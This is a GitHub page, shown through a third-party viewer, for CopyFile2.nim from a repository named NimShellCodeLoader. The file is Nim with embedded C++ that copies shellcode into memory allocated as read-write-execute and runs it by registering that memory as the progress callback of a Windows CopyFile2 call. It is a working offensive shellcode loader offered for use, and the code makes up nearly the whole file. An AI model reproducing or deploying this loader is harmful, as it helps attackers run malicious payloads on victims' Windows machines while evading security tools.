FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
NimShellCodeLoader/CopyFile2.nim at 0.3 · aeverj/NimShellCodeLoader · GitHub
aeverj
/
NimShellCodeLoader
Public
Notifications
You must be signed in to change notification settings
Fork
129
Star
706
Code
Issues
5
Pull requests
0
Actions
Projects
Security and quality
0
Insights
Additional navigation options
Code
Issues
Pull requests
Actions
Projects
Security and quality
Insights
Expand file tree
Breadcrumbs
NimShellCodeLoader
/
CopyFile2.nim
Copy path
More file actions
More file actions
Latest commit
History
History
History
27 lines (20 loc) · 904 Bytes
Breadcrumbs
NimShellCodeLoader
/
CopyFile2.nim
Copy path
File metadata and controls
27 lines (20 loc) · 904 Bytes
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{.
passC
:
"
-D_WIN32_WINNT=0x601
"
}
#
https://github.com/msys2/MINGW-packages/pull/2553/commits/06dc93709704d5134d39141d678fc58508d558fe
import
public
{.
emit
:
"""
#include <winbase.h>
int Copy2(char *shellcode,SIZE_T shellcodeSize) {
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
::RtlMoveMemory(addr, shellcode, shellcodeSize);
COPYFILE2_EXTENDED_PARAMETERS params;
params.dwSize = { sizeof(params) };
params.dwCopyFlags = COPY_FILE_FAIL_IF_EXISTS;
params.pfCancel = FALSE;
params.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)addr;
params.pvCallbackContext = nullptr;
::DeleteFileW(L"C:\\Windows\\Temp\\backup.log");
::CopyFile2(L"C:\\Windows\\DirectX.log", L"C:\\Windows\\Temp\\backup.log", ¶ms);
}
"""
.}
proc
Copy2
(plainBuffer:
cstring
,size:
cint
):
cint
{.
importcpp
:
"
Copy2(@)
"
,
nodecl
.}
discard
Copy2
(code,codelen)
Back
|
FazBrowse Home
|
New Git URL